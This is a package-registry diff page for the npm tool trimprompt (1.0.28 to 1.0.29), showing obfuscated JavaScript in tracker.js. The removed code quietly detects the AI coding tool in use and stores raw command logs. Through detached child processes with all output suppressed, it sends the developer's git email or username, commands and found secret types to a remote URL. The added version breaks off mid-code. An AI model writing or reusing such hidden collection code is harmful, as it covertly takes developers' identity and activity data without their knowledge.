trimprompt 1.0.28 → 1.0.29
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/api-proxy.js +1 -1
- package/cache.js +1 -1
- package/ccr.js +1 -1
- package/cli.js +1 -1
- package/dashboard.js +1 -1
- package/executor.js +1 -1
- package/filters/devops.js +1 -1
- package/filters/generic.js +1 -1
- package/filters/git.js +1 -1
- package/filters/go.js +1 -1
- package/filters/index.js +1 -1
- package/filters/js.js +1 -1
- package/filters/python.js +1 -1
- package/filters/rust.js +1 -1
- package/filters/shell.js +1 -1
- package/index.html +1 -2
- package/mcp.js +1 -1
- package/package.json +1 -1
- package/proxy-conv.js +1 -1
- package/proxy-daemon.js +1 -1
- package/proxy-resp.js +1 -1
- package/redactor.js +1 -1
- package/seed.js +1 -1
- package/shims.js +1 -1
- package/simulate.js +1 -1
- package/sync.js +1 -1
- package/tracker.js +1 -1
- package/traffic-interceptor.js +1 -1
package/tracker.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x43d4c3=a0_0x2a25;function a0_0x5cfb(){const _0x412c4f=['962606sFgnZE','userInfo','parse','prototype','Tracker','__setModuleDefault','TRIMPROMPT_MODEL','pop','logsDir','__esModule','CURSOR_AGENT','tool','GPT-4o\x20Mini','high','logExecution','./redactor','ANTIGRAVITY_AGENT','claude-3-5-sonnet','getLogs','claude-sonnet-4-6','writable','claude','sendSecurityAlert','claude-sonnet-4-5','unknown','flash','AIDER_MODEL','VSCODE_PID','split','antigravity','770022nRsLpu','config','includes','sync.js','random','36nxiRfg','length','default','telemetry_url','devin','saveConfig','getStatsSummary','Claude\x20Haiku\x203.5','configPath','Claude\x20Haiku\x204.5','path','.comp.txt','windsurf','gemini-3-1-pro','utf8','name','config.json','Cursor\x20Small','GPT-5.4','replit','claude-code','estimated_compressed_tokens','Claude\x20Fable\x205','/api/security/alert','970OAgAzo','8GsbriH','child_process',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','ignore','OpenAI\x20o1','72142jdfmqi','const\x20h=require(require(\x27url\x27).parse(','GPT-4.1\x20Mini','cursor','stringify','CLINE_DATA_DIR','toFixed','GPT-4.1\x20Nano','145676IwdFMH','.trimprompt','hasOwnProperty','REPL_ID','Claude\x20Sonnet\x204.5','__createBinding','27ytQQnj','mkdirSync','secretsFound','triggerBackgroundSync','timestamp','gemini','tracker','modelShort','writeFileSync','execPath','Gemini\x203.1\x20Flash-Lite','username','COPILOT_GITHUB_TOKEN','existsSync','homedir','spawn','codex','gemini-3-5-flash','toLowerCase','init','baseDir','join','Claude\x20Opus\x204.1\x20(deprecated)','configurable','1.0','default_model','2287373iEsRZA','toString','model','328294hTDCqP','readFileSync','getOwnPropertyNames','aider','ceil','max','create','trim','Gemini\x203.1\x20Pro','15xaJSrN','cline','getConfig','pipe','unref','defineProperty','Gemini\x203.5\x20Live\x20Translate','sonnet','platform','Claude\x20Sonnet\x204.6','CLAUDE_EFFORT','GPT-4o','CLAUDECODE','estimated_raw_tokens','PRICING','logs','COPILOT_MODEL','getOwnPropertyDescriptor','47097cwOaCk','secretTypes','continue','input_price_1m','Claude\x20Opus\x204.5','command','Claude\x20Opus\x204.7','CONTINUE_GLOBAL_DIR','execSync','detectSessionTool','auto','copilot','Claude\x20Mythos\x205','claude_code','call','push','CLAUDE_CODE','Gemini\x203.5\x20Flash','OpenAI\x20o3-mini','opus','Claude\x20Opus\x204.8','saveLogs','statsPath','claude-opus-4-8','git\x20config\x20user.email'];a0_0x5cfb=function(){return _0x412c4f;};return a0_0x5cfb();}(function(_0x17f435,_0x3959fd){const _0x54de9f=a0_0x2a25,_0x322b54=_0x17f435();while(!![]){try{const _0xfed27c=-parseInt(_0x54de9f(0x235))/0x1+-parseInt(_0x54de9f(0x1c9))/0x2+-parseInt(_0x54de9f(0x218))/0x3*(-parseInt(_0x54de9f(0x212))/0x4)+parseInt(_0x54de9f(0x23e))/0x5*(-parseInt(_0x54de9f(0x1e7))/0x6)+-parseInt(_0x54de9f(0x20a))/0x7*(-parseInt(_0x54de9f(0x205))/0x8)+parseInt(_0x54de9f(0x1b0))/0x9*(parseInt(_0x54de9f(0x204))/0xa)+-parseInt(_0x54de9f(0x232))/0xb*(-parseInt(_0x54de9f(0x1ec))/0xc);if(_0xfed27c===_0x3959fd)break;else _0x322b54['push'](_0x322b54['shift']());}catch(_0x32900f){_0x322b54['push'](_0x322b54['shift']());}}}(a0_0x5cfb,0x431d3));var __createBinding=this&&this[a0_0x43d4c3(0x217)]||(Object[a0_0x43d4c3(0x23b)]?function(_0x212175,_0x39d91b,_0x4d53c5,_0x23809b){const _0x2a9ca2=a0_0x43d4c3;if(_0x23809b===undefined)_0x23809b=_0x4d53c5;var _0x1b284c=Object[_0x2a9ca2(0x1af)](_0x39d91b,_0x4d53c5);(!_0x1b284c||('get'in _0x1b284c?!_0x39d91b['__esModule']:_0x1b284c[_0x2a9ca2(0x1dd)]||_0x1b284c[_0x2a9ca2(0x22f)]))&&(_0x1b284c={'enumerable':!![],'get':function(){return _0x39d91b[_0x4d53c5];}}),Object[_0x2a9ca2(0x1a3)](_0x212175,_0x23809b,_0x1b284c);}:function(_0xd253be,_0x5673de,_0x5691a1,_0x37702c){if(_0x37702c===undefined)_0x37702c=_0x5691a1;_0xd253be[_0x37702c]=_0x5673de[_0x5691a1];}),__setModuleDefault=this&&this[a0_0x43d4c3(0x1ce)]||(Object[a0_0x43d4c3(0x23b)]?function(_0x18e947,_0x1f5a6b){const _0x3f7f98=a0_0x43d4c3;Object[_0x3f7f98(0x1a3)](_0x18e947,_0x3f7f98(0x1ee),{'enumerable':!![],'value':_0x1f5a6b});}:function(_0x50190e,_0x2d4197){_0x50190e['default']=_0x2d4197;}),__importStar=this&&this['__importStar']||(function(){var _0x3b5c11=function(_0x22e0dd){const _0x44e937=a0_0x2a25;return _0x3b5c11=Object[_0x44e937(0x237)]||function(_0x4448f5){const _0x564cf3=_0x44e937;var _0x1651b8=[];for(var _0xae4103 in _0x4448f5)if(Object[_0x564cf3(0x1cc)][_0x564cf3(0x214)][_0x564cf3(0x1be)](_0x4448f5,_0xae4103))_0x1651b8[_0x1651b8[_0x564cf3(0x1ed)]]=_0xae4103;return _0x1651b8;},_0x3b5c11(_0x22e0dd);};return function(_0x3e8762){const _0x1fe237=a0_0x2a25;if(_0x3e8762&&_0x3e8762['__esModule'])return _0x3e8762;var _0x522063={};if(_0x3e8762!=null){for(var _0x5488ef=_0x3b5c11(_0x3e8762),_0x4b4262=0x0;_0x4b4262<_0x5488ef[_0x1fe237(0x1ed)];_0x4b4262++)if(_0x5488ef[_0x4b4262]!=='default')__createBinding(_0x522063,_0x3e8762,_0x5488ef[_0x4b4262]);}return __setModuleDefault(_0x522063,_0x3e8762),_0x522063;};}());Object[a0_0x43d4c3(0x1a3)](exports,a0_0x43d4c3(0x1d2),{'value':!![]}),exports[a0_0x43d4c3(0x21e)]=exports['Tracker']=exports[a0_0x43d4c3(0x1ac)]=void 0x0,exports[a0_0x43d4c3(0x1b9)]=detectSessionTool;function a0_0x2a25(_0x1d3c40,_0x519e05){_0x1d3c40=_0x1d3c40-0x1a0;const _0x5cfb73=a0_0x5cfb();let _0x2a25a8=_0x5cfb73[_0x1d3c40];return _0x2a25a8;}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x43d4c3(0x1f6))),os=__importStar(require('os')),child_process_1=require(a0_0x43d4c3(0x206));exports[a0_0x43d4c3(0x1ac)]={'claude-fable-5':{'name':a0_0x43d4c3(0x202),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x43d4c3(0x1bc),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x43d4c3(0x1c4),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x43d4c3(0x1b6),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x43d4c3(0x1b4),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x43d4c3(0x22e),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x43d4c3(0x1a7),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x43d4c3(0x216),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x43d4c3(0x1f5),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x43d4c3(0x1f3),'input_price_1m':0.8},'gpt-5-5':{'name':'GPT-5.5','input_price_1m':0x5},'gpt-5-4':{'name':a0_0x43d4c3(0x1fe),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x43d4c3(0x1a9),'input_price_1m':2.5},'gpt-5-4-mini':{'name':'GPT-5.4\x20Mini','input_price_1m':0.75},'gpt-5-4-nano':{'name':'GPT-5.4\x20Nano','input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x43d4c3(0x20c),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x43d4c3(0x211),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x43d4c3(0x1d5),'input_price_1m':0.15},'o1':{'name':a0_0x43d4c3(0x209),'input_price_1m':0xf},'o1-mini':{'name':'OpenAI\x20o1-mini','input_price_1m':0x3},'o3-mini':{'name':a0_0x43d4c3(0x1c2),'input_price_1m':1.1},'cursor-small':{'name':a0_0x43d4c3(0x1fd),'input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x43d4c3(0x23d),'input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x43d4c3(0x1c1),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x43d4c3(0x222),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x43d4c3(0x1a4),'input_price_1m':3.5}};function detectSessionTool(){const _0x4857a9=a0_0x43d4c3,_0x355ce5=process.env,_0x56c9bd={'tool':'','model':_0x4857a9(0x1dc),'modelShort':''};if(_0x355ce5[_0x4857a9(0x1cf)]&&exports[_0x4857a9(0x1ac)][_0x355ce5['TRIMPROMPT_MODEL']])return{'tool':'','model':_0x355ce5[_0x4857a9(0x1cf)],'modelShort':''};const _0x29dc02=(_0x355ce5['AI_AGENT']||'')['toLowerCase']();if(_0x29dc02){if(_0x29dc02['includes'](_0x4857a9(0x200))||_0x29dc02[_0x4857a9(0x1e9)](_0x4857a9(0x1bd))){const _0x5787b4=_0x355ce5[_0x4857a9(0x1a8)]===_0x4857a9(0x1d6)?_0x4857a9(0x1c3):_0x4857a9(0x1a5),_0x16d131=_0x355ce5[_0x4857a9(0x1a8)]===_0x4857a9(0x1d6)?'claude-opus-4-8':_0x4857a9(0x1dc);return{'tool':_0x4857a9(0x1de),'model':_0x16d131,'modelShort':_0x5787b4};}if(_0x29dc02['includes'](_0x4857a9(0x20d)))return{'tool':'cursor','model':'claude-sonnet-4-6','modelShort':_0x4857a9(0x1a5)};if(_0x29dc02[_0x4857a9(0x1e9)]('github-copilot')||_0x29dc02[_0x4857a9(0x1e9)]('copilot')){const _0x1951af=_0x355ce5[_0x4857a9(0x1ae)]||'';if(_0x1951af&&exports['PRICING'][_0x1951af])return{'tool':_0x4857a9(0x1bb),'model':_0x1951af,'modelShort':_0x1951af[_0x4857a9(0x1e5)]('-')['pop']()||''};return{'tool':'copilot','model':_0x4857a9(0x1e0),'modelShort':_0x4857a9(0x1a5)};}if(_0x29dc02[_0x4857a9(0x1e9)](_0x4857a9(0x21d)))return{'tool':_0x4857a9(0x21d),'model':_0x4857a9(0x229),'modelShort':_0x4857a9(0x1e2)};if(_0x29dc02['includes'](_0x4857a9(0x228)))return{'tool':_0x4857a9(0x228),'model':'o3-mini','modelShort':'o3mini'};if(_0x29dc02[_0x4857a9(0x1e9)](_0x4857a9(0x1f0)))return{'tool':_0x4857a9(0x1f0),'model':_0x4857a9(0x1dc),'modelShort':''};if(_0x29dc02[_0x4857a9(0x1e9)](_0x4857a9(0x1e6)))return{'tool':_0x4857a9(0x1e6),'model':_0x4857a9(0x1f9),'modelShort':'gemini'};if(_0x29dc02[_0x4857a9(0x1e9)](_0x4857a9(0x1ff))||_0x355ce5[_0x4857a9(0x215)])return{'tool':_0x4857a9(0x1ff),'model':_0x4857a9(0x1dc),'modelShort':''};return{'tool':_0x29dc02[_0x4857a9(0x1e5)]('_')[0x0][_0x4857a9(0x1e5)]('-')[0x0],'model':_0x4857a9(0x1dc),'modelShort':''};}if(_0x355ce5[_0x4857a9(0x1aa)]==='1'||_0x355ce5[_0x4857a9(0x1c0)]==='1'){const _0x4bdb92=_0x355ce5[_0x4857a9(0x1a8)]===_0x4857a9(0x1d6)?_0x4857a9(0x1c3):_0x4857a9(0x1a5),_0x56694a=_0x355ce5[_0x4857a9(0x1a8)]===_0x4857a9(0x1d6)?_0x4857a9(0x1c7):'claude-sonnet-4-6';return{'tool':_0x4857a9(0x1de),'model':_0x56694a,'modelShort':_0x4bdb92};}if(_0x355ce5[_0x4857a9(0x1d3)]==='1')return{'tool':'cursor','model':_0x4857a9(0x1dc),'modelShort':_0x4857a9(0x1a5)};if(_0x355ce5['GEMINI_CLI']==='1')return{'tool':_0x4857a9(0x21d),'model':_0x4857a9(0x229),'modelShort':_0x4857a9(0x1e2)};if(_0x355ce5[_0x4857a9(0x1ae)]||_0x355ce5[_0x4857a9(0x224)]){const _0x1e8cd0=_0x355ce5[_0x4857a9(0x1ae)]||'';if(_0x1e8cd0&&exports['PRICING'][_0x1e8cd0])return{'tool':_0x4857a9(0x1bb),'model':_0x1e8cd0,'modelShort':_0x1e8cd0['split']('-')[_0x4857a9(0x1d0)]()||''};return{'tool':_0x4857a9(0x1bb),'model':'claude-sonnet-4-5','modelShort':'sonnet'};}if(_0x355ce5[_0x4857a9(0x215)]||_0x355ce5['REPLIT_ENVIRONMENT'])return{'tool':_0x4857a9(0x1ff),'model':_0x4857a9(0x1dc),'modelShort':''};if(_0x355ce5[_0x4857a9(0x20f)])return{'tool':_0x4857a9(0x23f),'model':_0x4857a9(0x1dc),'modelShort':''};if(_0x355ce5[_0x4857a9(0x1b7)])return{'tool':_0x4857a9(0x1b2),'model':_0x4857a9(0x1dc),'modelShort':''};if(_0x355ce5[_0x4857a9(0x1d9)]==='1')return{'tool':_0x4857a9(0x1e6),'model':'gemini-3-1-pro','modelShort':_0x4857a9(0x21d)};if(_0x355ce5[_0x4857a9(0x1a8)]){const _0x514373=_0x355ce5[_0x4857a9(0x1a8)]===_0x4857a9(0x1d6)?_0x4857a9(0x1c3):_0x4857a9(0x1a5),_0x292df2=_0x355ce5[_0x4857a9(0x1a8)]===_0x4857a9(0x1d6)?_0x4857a9(0x1c7):_0x4857a9(0x1dc);return{'tool':'','model':_0x292df2,'modelShort':''};}if(_0x355ce5[_0x4857a9(0x1e3)]&&exports['PRICING'][_0x355ce5[_0x4857a9(0x1e3)]])return{'tool':_0x4857a9(0x238),'model':_0x355ce5[_0x4857a9(0x1e3)],'modelShort':''};if(_0x355ce5[_0x4857a9(0x1e4)]){const _0x2613f3=(_0x355ce5['PATH']||'')[_0x4857a9(0x22a)]();if(_0x2613f3['includes'](_0x4857a9(0x20d)))return{'tool':_0x4857a9(0x20d),'model':_0x4857a9(0x1dc),'modelShort':_0x4857a9(0x1a5)};if(_0x2613f3['includes'](_0x4857a9(0x1f8)))return{'tool':_0x4857a9(0x1f8),'model':_0x4857a9(0x1dc),'modelShort':_0x4857a9(0x1a5)};}const _0x57fe27=process.env.TRIMPROMPT_MODEL||'';if(_0x57fe27&&exports['PRICING'][_0x57fe27])return{'tool':'','model':_0x57fe27,'modelShort':''};return _0x56c9bd;}class Tracker{['baseDir'];['configPath'];[a0_0x43d4c3(0x1c6)];[a0_0x43d4c3(0x1d1)];['config'];constructor(){const _0x31204d=a0_0x43d4c3;this['baseDir']=path[_0x31204d(0x22d)](os[_0x31204d(0x226)](),_0x31204d(0x213)),this[_0x31204d(0x1f4)]=path[_0x31204d(0x22d)](this[_0x31204d(0x22c)],_0x31204d(0x1fc)),this[_0x31204d(0x1c6)]=path['join'](this[_0x31204d(0x22c)],'stats.json'),this[_0x31204d(0x1d1)]=path[_0x31204d(0x22d)](this['baseDir'],_0x31204d(0x1ad)),this[_0x31204d(0x22b)]();}[a0_0x43d4c3(0x22b)](){const _0x31f31b=a0_0x43d4c3;!fs[_0x31f31b(0x225)](this[_0x31f31b(0x22c)])&&fs[_0x31f31b(0x219)](this[_0x31f31b(0x22c)],{'recursive':!![]});!fs[_0x31f31b(0x225)](this[_0x31f31b(0x1d1)])&&fs['mkdirSync'](this[_0x31f31b(0x1d1)],{'recursive':!![]});const _0x101253={'version':_0x31f31b(0x230),'telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x31f31b(0x1c7)};if(fs[_0x31f31b(0x225)](this[_0x31f31b(0x1f4)]))try{const _0x5d5514=fs[_0x31f31b(0x236)](this[_0x31f31b(0x1f4)],_0x31f31b(0x1fa));this[_0x31f31b(0x1e8)]={..._0x101253,...JSON[_0x31f31b(0x1cb)](_0x5d5514)};}catch(_0x365fd0){this['config']=_0x101253;}else this[_0x31f31b(0x1e8)]=_0x101253,this[_0x31f31b(0x1f1)]();!fs[_0x31f31b(0x225)](this[_0x31f31b(0x1c6)])&&fs[_0x31f31b(0x220)](this['statsPath'],JSON[_0x31f31b(0x20e)]([]),_0x31f31b(0x1fa));}[a0_0x43d4c3(0x1a0)](){const _0x5e32b8=a0_0x43d4c3;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0x5e32b8(0x1e8)][_0x5e32b8(0x1ef)]=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x5e32b8(0x1e8)];}['setConfig'](_0x3af589,_0x3b18c7){const _0x143923=a0_0x43d4c3;this[_0x143923(0x1e8)][_0x3af589]=_0x3b18c7,this[_0x143923(0x1f1)]();}['saveConfig'](){const _0x4a26e7=a0_0x43d4c3;fs[_0x4a26e7(0x220)](this[_0x4a26e7(0x1f4)],JSON[_0x4a26e7(0x20e)](this[_0x4a26e7(0x1e8)],null,0x2),'utf8');}[a0_0x43d4c3(0x1db)](){const _0x4e45a0=a0_0x43d4c3;try{if(!fs[_0x4e45a0(0x225)](this[_0x4e45a0(0x1c6)]))return[];const _0x32700a=fs[_0x4e45a0(0x236)](this[_0x4e45a0(0x1c6)],_0x4e45a0(0x1fa));return JSON[_0x4e45a0(0x1cb)](_0x32700a);}catch{return[];}}['saveLogs'](_0x54083f){const _0x2539ab=a0_0x43d4c3;fs[_0x2539ab(0x220)](this[_0x2539ab(0x1c6)],JSON[_0x2539ab(0x20e)](_0x54083f,null,0x2),_0x2539ab(0x1fa));}[a0_0x43d4c3(0x1d7)](_0xa3be7e,_0x5129fd,_0x24f5dc,_0x1347b4,_0x35b1c0,_0x310f1a){const _0x319d88=a0_0x43d4c3,_0x33371c=this['getLogs'](),_0x4f8ca4=_0x5129fd['length'],_0x47b10a=_0x24f5dc[_0x319d88(0x1ed)],_0x5280b7=Math['ceil'](_0x4f8ca4/0x4),_0x13e656=Math[_0x319d88(0x239)](_0x47b10a/0x4),_0x32455b=Math[_0x319d88(0x23a)](0x0,_0x5280b7-_0x13e656),_0x377d7e=detectSessionTool(),_0x814b24=_0x377d7e[_0x319d88(0x234)],_0x3dc6db=Math[_0x319d88(0x1eb)]()[_0x319d88(0x233)](0x24)['substring'](0x2,0xb);try{const {redactor:_0x37a4a1}=require(_0x319d88(0x1d8)),_0x1ac0a9=_0x37a4a1?_0x37a4a1['redact'](_0x5129fd):_0x5129fd;fs[_0x319d88(0x220)](path['join'](this[_0x319d88(0x1d1)],_0x3dc6db+'.raw.txt'),_0x1ac0a9,_0x319d88(0x1fa)),fs[_0x319d88(0x220)](path[_0x319d88(0x22d)](this[_0x319d88(0x1d1)],_0x3dc6db+_0x319d88(0x1f7)),_0x24f5dc,'utf8');}catch{}const _0x1a6a1c=_0xa3be7e[_0x319d88(0x1e5)]('\x20')[0x0]||_0x319d88(0x1e1),_0x5bf981=_0x377d7e[_0x319d88(0x1d4)]?_0x377d7e[_0x319d88(0x21f)]?_0x377d7e[_0x319d88(0x1d4)]+'-'+_0x377d7e[_0x319d88(0x21f)]+'-'+_0x1a6a1c:_0x377d7e[_0x319d88(0x1d4)]+'-'+_0x1a6a1c:_0x1a6a1c,_0x13297f={'id':_0x3dc6db,'timestamp':new Date()['toISOString'](),'command':_0x5bf981,'raw_chars':_0x4f8ca4,'compressed_chars':_0x47b10a,'estimated_raw_tokens':_0x5280b7,'estimated_compressed_tokens':_0x13e656,'tokens_saved':_0x32455b,'model_used':_0x814b24,'exit_code':_0x1347b4,'synced':![],'ai_detected':!!_0x377d7e[_0x319d88(0x1d4)],'secrets_found':_0x35b1c0?.[_0x319d88(0x21a)]||0x0,'secret_types':_0x35b1c0?.[_0x319d88(0x1b1)]||[],'features':_0x310f1a||[]};_0x33371c[_0x319d88(0x1bf)](_0x13297f),this[_0x319d88(0x1c5)](_0x33371c);const _0x235cd1=this[_0x319d88(0x1a0)]()['telemetry_url'];return _0x235cd1&&_0x235cd1[_0x319d88(0x23c)]()[_0x319d88(0x1ed)]>0x0&&this[_0x319d88(0x21b)](),_0x35b1c0&&_0x35b1c0['secretsFound']>0x0&&this[_0x319d88(0x1df)](_0x13297f,_0x35b1c0),_0x13297f;}['sendSecurityAlert'](_0xe69b8a,_0x546c47){const _0x17cd9c=a0_0x43d4c3;try{let _0x528027=this[_0x17cd9c(0x1a0)]()['telemetry_url']||'';if(!_0x528027)return;_0x528027=_0x528027['replace'](/\/api\/telemetry\/?$/,_0x17cd9c(0x203));if(!_0x528027['includes'](_0x17cd9c(0x203)))_0x528027+=_0x17cd9c(0x203);const {execSync:_0x39f731}=require(_0x17cd9c(0x206));let _0x5258ab='unknown';try{_0x5258ab=require(_0x17cd9c(0x206))[_0x17cd9c(0x1b8)](_0x17cd9c(0x1c8),{'stdio':['ignore',_0x17cd9c(0x1a1),_0x17cd9c(0x208)]})['toString']()[_0x17cd9c(0x23c)]();}catch{}if(!_0x5258ab||!_0x5258ab[_0x17cd9c(0x1e9)]('@'))try{_0x5258ab=require('os')[_0x17cd9c(0x1ca)]()[_0x17cd9c(0x223)];}catch{}const _0x430cc7=JSON['stringify']({'developer_id':_0x5258ab,'timestamp':_0xe69b8a[_0x17cd9c(0x21c)],'command':_0xe69b8a[_0x17cd9c(0x1b5)],'secrets_found':_0x546c47[_0x17cd9c(0x21a)],'secret_types':_0x546c47[_0x17cd9c(0x1b1)],'os':require('os')[_0x17cd9c(0x1a6)]()}),_0xeb880a=_0x17cd9c(0x20b)+JSON['stringify'](_0x528027)+').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request('+JSON['stringify'](_0x528027)+_0x17cd9c(0x207)+JSON['stringify'](_0x430cc7)+')',_0x2718df=(0x0,child_process_1[_0x17cd9c(0x227)])(process['execPath'],['-e',_0xeb880a],{'detached':!![],'stdio':_0x17cd9c(0x208)});_0x2718df[_0x17cd9c(0x1a2)]();}catch{}}[a0_0x43d4c3(0x21b)](){const _0x404f15=a0_0x43d4c3;try{const _0xd42cfb=path[_0x404f15(0x22d)](__dirname,_0x404f15(0x1ea));if(fs[_0x404f15(0x225)](_0xd42cfb)){const _0x47306d=(0x0,child_process_1['spawn'])(process[_0x404f15(0x221)],[_0xd42cfb],{'detached':!![],'stdio':'ignore'});_0x47306d[_0x404f15(0x1a2)]();}}catch{}}[a0_0x43d4c3(0x1f2)](_0x2359f5=a0_0x43d4c3(0x1ba)){const _0x3bef35=a0_0x43d4c3,_0x18a077=this['getLogs']();let _0x457ea3=0x0,_0x2ac22c=0x0,_0x4f753a=0x0;for(const _0x53b881 of _0x18a077){_0x457ea3+=_0x53b881[_0x3bef35(0x1ab)],_0x2ac22c+=_0x53b881[_0x3bef35(0x201)],_0x4f753a+=_0x53b881['tokens_saved'];}let _0xf448fd=_0x2359f5;(!_0xf448fd||_0xf448fd===_0x3bef35(0x1ba)||!exports[_0x3bef35(0x1ac)][_0xf448fd])&&(_0x18a077[_0x3bef35(0x1ed)]>0x0&&_0x18a077[_0x18a077[_0x3bef35(0x1ed)]-0x1]['model_used']?_0xf448fd=_0x18a077[_0x18a077[_0x3bef35(0x1ed)]-0x1]['model_used']:_0xf448fd=this[_0x3bef35(0x1a0)]()[_0x3bef35(0x231)]||_0x3bef35(0x1da));const _0x1fc50d=exports[_0x3bef35(0x1ac)][_0xf448fd]||exports['PRICING'][_0x3bef35(0x1da)],_0x4a50b4=_0x4f753a*_0x1fc50d[_0x3bef35(0x1b3)]/0xf4240,_0x2c0f80=_0x457ea3*_0x1fc50d[_0x3bef35(0x1b3)]/0xf4240,_0x9fb868=_0x2ac22c*_0x1fc50d[_0x3bef35(0x1b3)]/0xf4240,_0x4626d1=_0x457ea3>0x0?_0x4f753a/_0x457ea3*0x64:0x0;return{'total_raw_tokens':_0x457ea3,'total_compressed_tokens':_0x2ac22c,'total_tokens_saved':_0x4f753a,'savings_percentage':parseFloat(_0x4626d1['toFixed'](0x1)),'money_saved_usd':parseFloat(_0x4a50b4[_0x3bef35(0x210)](0x4)),'raw_cost_usd':parseFloat(_0x2c0f80[_0x3bef35(0x210)](0x4)),'compressed_cost_usd':parseFloat(_0x9fb868[_0x3bef35(0x210)](0x4)),'model_name':_0x1fc50d[_0x3bef35(0x1fb)],'model_key':_0xf448fd};}}exports[a0_0x43d4c3(0x1cd)]=Tracker,exports[a0_0x43d4c3(0x21e)]=new Tracker();
|
|
1
|
+
'use strict';const a0_0x3e8929=a0_0x1920;(function(_0x4edee0,_0x136f72){const _0x342f60=a0_0x1920,_0x225878=_0x4edee0();while(!![]){try{const _0x1a7f48=parseInt(_0x342f60(0xc5))/0x1*(-parseInt(_0x342f60(0x104))/0x2)+parseInt(_0x342f60(0x10f))/0x3+parseInt(_0x342f60(0xc6))/0x4*(parseInt(_0x342f60(0x140))/0x5)+parseInt(_0x342f60(0xea))/0x6*(-parseInt(_0x342f60(0x13a))/0x7)+-parseInt(_0x342f60(0x114))/0x8*(-parseInt(_0x342f60(0xc1))/0x9)+parseInt(_0x342f60(0xf3))/0xa*(parseInt(_0x342f60(0xae))/0xb)+-parseInt(_0x342f60(0xd0))/0xc*(-parseInt(_0x342f60(0xeb))/0xd);if(_0x1a7f48===_0x136f72)break;else _0x225878['push'](_0x225878['shift']());}catch(_0x1b38de){_0x225878['push'](_0x225878['shift']());}}}(a0_0x1f8c,0xda0a7));var __createBinding=this&&this[a0_0x3e8929(0xa8)]||(Object[a0_0x3e8929(0xa5)]?function(_0x22a16a,_0x32fe02,_0x5eed33,_0x2339ff){const _0x526811=a0_0x3e8929;if(_0x2339ff===undefined)_0x2339ff=_0x5eed33;var _0x5a3e12=Object[_0x526811(0x138)](_0x32fe02,_0x5eed33);(!_0x5a3e12||(_0x526811(0xfb)in _0x5a3e12?!_0x32fe02[_0x526811(0xa6)]:_0x5a3e12[_0x526811(0x10e)]||_0x5a3e12[_0x526811(0x135)]))&&(_0x5a3e12={'enumerable':!![],'get':function(){return _0x32fe02[_0x5eed33];}}),Object[_0x526811(0x130)](_0x22a16a,_0x2339ff,_0x5a3e12);}:function(_0x4fe68a,_0x26ac67,_0x3a6079,_0x729d4f){if(_0x729d4f===undefined)_0x729d4f=_0x3a6079;_0x4fe68a[_0x729d4f]=_0x26ac67[_0x3a6079];}),__setModuleDefault=this&&this[a0_0x3e8929(0x109)]||(Object[a0_0x3e8929(0xa5)]?function(_0x3a5bfb,_0x54a1f0){const _0x62b686=a0_0x3e8929;Object[_0x62b686(0x130)](_0x3a5bfb,'default',{'enumerable':!![],'value':_0x54a1f0});}:function(_0x2d86c5,_0x5a71e1){const _0x2d7e69=a0_0x3e8929;_0x2d86c5[_0x2d7e69(0x119)]=_0x5a71e1;}),__importStar=this&&this[a0_0x3e8929(0xc8)]||(function(){var _0x416297=function(_0x2c96e0){return _0x416297=Object['getOwnPropertyNames']||function(_0xea57fb){const _0x48ae32=a0_0x1920;var _0x5d244f=[];for(var _0x5b47d7 in _0xea57fb)if(Object[_0x48ae32(0x100)][_0x48ae32(0x11d)][_0x48ae32(0xa4)](_0xea57fb,_0x5b47d7))_0x5d244f[_0x5d244f['length']]=_0x5b47d7;return _0x5d244f;},_0x416297(_0x2c96e0);};return function(_0x4372ac){if(_0x4372ac&&_0x4372ac['__esModule'])return _0x4372ac;var _0xe5928={};if(_0x4372ac!=null){for(var _0x5f1756=_0x416297(_0x4372ac),_0x3b6341=0x0;_0x3b6341<_0x5f1756['length'];_0x3b6341++)if(_0x5f1756[_0x3b6341]!=='default')__createBinding(_0xe5928,_0x4372ac,_0x5f1756[_0x3b6341]);}return __setModuleDefault(_0xe5928,_0x4372ac),_0xe5928;};}());Object[a0_0x3e8929(0x130)](exports,a0_0x3e8929(0xa6),{'value':!![]}),exports[a0_0x3e8929(0xaf)]=exports[a0_0x3e8929(0xfa)]=exports[a0_0x3e8929(0xc0)]=void 0x0,exports[a0_0x3e8929(0x12a)]=detectSessionTool;function a0_0x1f8c(){const 